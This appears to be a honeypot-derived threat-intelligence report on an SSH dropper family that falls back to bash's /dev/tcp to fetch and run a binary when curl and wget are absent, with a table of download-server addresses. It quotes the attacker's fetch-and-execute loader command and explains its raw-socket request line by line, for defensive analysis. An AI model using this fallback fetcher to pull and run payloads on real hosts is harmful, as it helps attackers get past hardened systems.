LSN โ€” Local Sovereign Network

TI-2026-095A โ€” The /dev/tcp Dropper: A Downloader That Needs No Downloader

Classification: HIGH ยท Forensic threat intelligence ยท Honeypot-derived ยท Series: The Bare-Socket Dropper

Most droppers have one weakness a defender can lean on: they need a way to pull the payload down. Strip curl and wget off a box and a whole class of loader scripts dies at the first line. This family was built for exactly that box. When the two download tools are gone, it falls back to a fetcher that ships inside the shell itself โ€” bash's built-in /dev/tcp โ€” and pulls the binary over a raw socket that no package removal can take away. Between 2026-04-10 and 2026-07-21 the LSN honeypot caught 17 variants of it, feeding from a dozen mostly-Chinese-cloud servers on high, forgettable ports. This is the technique, the fleet, and the one detection signature that survives IP rotation.

1. The Three-Stage Fetch

Every captured variant does the same thing after a successful SSH login: it tries to download a file called linux, three different ways, and stops at the first that works. Here is the shape of it, with the payload argument truncated:

nohup $SHELL -c "curl http://<IP>:<PORT>/linux -o /tmp/<rand>;
  if [ ! -f /tmp/<rand> ]; then wget http://<IP>:<PORT>/linux -O /tmp/<rand>; fi;
  if [ ! -f /tmp/<rand> ]; then
      exec 6<>/dev/tcp/<IP>/<PORT> && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/<rand> ;
      chmod +x /tmp/<rand> && /tmp/<rand> <BASE64_CONFIGโ€ฆtruncated> ;
  fi;
  echo 123456 > /tmp/.opass;
  chmod +x /tmp/<rand> && /tmp/<rand> <BASE64_CONFIGโ€ฆtruncated>" &

Read it as a fallback ladder:

2. A Fetcher Made of Shell Built-ins

Stage three uses no external program at all:

exec 6<>/dev/tcp/<IP>/<PORT>     # open a TCP socket as file descriptor 6
echo -n 'GET /linux' >&6         # write a minimal HTTP/1.0 request into it
cat 0<&6 > /tmp/<rand>           # read the response body back out to disk

/dev/tcp/host/port is not a real device file. It is a pseudo-path bash interprets internally: opening it makes bash create a TCP connection and hand you a file descriptor for it. Nothing on disk, no library, no binary โ€” the capability is compiled into the shell. So echo becomes the request writer and cat becomes the response reader, and a working HTTP fetch exists on a machine that has had every download utility deliberately removed.

That is the whole point of the design. "Remove curl and wget" is textbook host hardening; plenty of minimal containers and locked-down appliances ship without them on purpose. This dropper treats that hardening as a speed bump. The one requirement is that the login shell is bash (or another shell with the /dev/tcp feature) โ€” and the script hedges even that by launching through $SHELL in the fallback forms and hard-coding bash -c in the others.

Why it matters for defenders. An egress or host policy built on the assumption that "malware needs curl or wget" has a hole the exact size of this technique. The bare-socket path is not exotic โ€” it is one line of standard bash โ€” and it is invisible to any control that watches for download binaries instead of watching for the behaviour.

3. One Family, Twelve Servers, Three Months

Pulling the /dev/tcp string across the honeypot's command history returns 17 distinct variants, active from 2026-04-10 to 2026-07-21, and the tradecraft barely moves across any of them:

Two stylistic families appear. One leads with curl/wget and keeps the socket as a last resort; the other is pure bare-socket โ€” nohup bash -c "exec 6<>/dev/tcp/โ€ฆ" with no download tool tried at all. Same conventions, same /tmp/.opass, same argv habit. This is one loader family from a shared builder, not a dozen unrelated scripts that happen to rhyme.

The download servers it feeds from:

IP : PortNetworkCountry
116.169.58.202:6429China Unicom ยท AS4837CN
121.28.170.66:9356China Unicom (Hebei) ยท AS4837CN
124.221.177.40:9549Tencent Cloud ยท AS45090CN
180.76.137.37:60135Baidu Netcom ยท AS38365CN
47.243.127.140:60143Alibaba Cloud ยท AS45102HK
47.250.164.199:8745Alibaba Cloud ยท AS45102SG
8.134.33.225:7312Alibaba Cloud ยท AS45102CN
47.120.55.164:60128Alibaba Cloud ยท AS45102CN
8.219.71.198:60145Alibaba Cloud ยท AS45102SG
103.101.153.27:60100CoreNET Inc ยท AS13875US
47.180.61.210:60122Verizon Business ยท AS701US
164.52.208.63:8881APNIC-registeredAU

Nine of the twelve are mainstream Chinese cloud and telecom โ€” Alibaba (five), Tencent, Baidu, China Unicom. Every node serves on a high, non-standard port (6429, 9356, 60100, 60143, โ€ฆ), never 80 or 443, so the fetch does not blend with ordinary web traffic and is trivially greppable in netflow. This is rented bulk elastic compute, not bulletproof hosting โ€” which is good news for remediation: takedown runs through Alibaba's and Tencent's abuse desks, not through a provider that ignores complaints. The lone Verizon Business node stands out among the cloud ranges; it reads as a compromised US host repurposed for staging rather than a rented server (inferred).

4. The Config Rides in the Argument

The loader is never handed a config file. Its settings arrive as a single ~300โ€“600 character base64 string passed as argv, resolved at exec time and gone the moment the process exits. Contrast that with /tmp/.opass, which the script deliberately writes to disk: the operator persists the trivial marker and keeps the meaningful config in memory only.

That is a small, deliberate anti-forensic choice. A responder who arrives after the process has died can grep /tmp all day and find .opass and an executable with a random name โ€” but not the key or C2 parameters that were only ever an argument to a process that is no longer running. (The binary itself was not retained, so this reading is inferred from the delivery, not confirmed against the loader's parsing โ€” see ยง6.)

5. The Counter-Narrative

Steelman: "This is just another off-the-shelf SSH botnet loader. /dev/tcp is a decade-old trick documented in every pentest cheat-sheet; the servers are throwaway cloud VMs; you never even caught the binary. There is no story here."

Every clause of that is partly true, and the finding survives all of it:

What is not claimed: a named actor (the operator is unattributed โ€” MEDIUM that the shared tradecraft is one tightly-coupled operation rather than several customers of one kit), and any statement about what /linux does once it runs.

Confidence: HIGH that this is one loader family delivered by a /dev/tcp fallback fetcher across a dozen mostly-Chinese-cloud nodes over three months; MEDIUM on single-operator identity; the payload's behaviour is out of scope.

6. What Our Systems Actually Hold

Honesty about scope. The honeypot logged the fetch commands in full, across 17 variants and three months. It did not capture the /linux payload โ€” Cowrie recorded the download instruction but not the bytes โ€” and the download servers never opened an SSH session against our sensor, so they exist in our data only as referenced infrastructure (they resolve cleanly in WHOIS/RDAP but carry no honeypot session history of their own). We therefore report the technique and the fleet, and we decline to guess at the binary. That gap is stated, not papered over.

7. Defence Response

8. Investigation Metadata

FieldValue
Dossier IDTI-2026-095A
SeriesThe Bare-Socket Dropper
Window2026-04-10 โ†’ 2026-07-21
Techniquecurl โ†’ wget โ†’ exec 6<>/dev/tcp/IP/PORT raw-socket HTTP/1.0 fetch of /linux; UPX-packed ELF; base64 config passed as argv; /tmp/.opass=123456
Fleet12 download nodes, high non-standard ports; 9/12 Chinese cloud/telecom (Alibaba ร—5, Tencent, Baidu, China Unicom ร—2), + CoreNET, Verizon Business, one APNIC
Scope limitLoader binary not retained โ€” technique + fleet + detection signature only; no family attribution
SourcesLSN Cowrie honeypot (honeypot_commands, honeypot_downloads); WHOIS/RDAP
Cross-referenceTI-2026-063A (The Telegram Shell) โ€” same living-off-native-capability evasion philosophy, different mechanism
ConfidenceHIGH (technique + fleet); MEDIUM (single-operator identity)

Cristian Liศ™neanu ยท shuffle-on.com ยท Threat Intelligence

โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
โ† Previous Below the Noise Floor โ€” 1 / 8 Next โ†’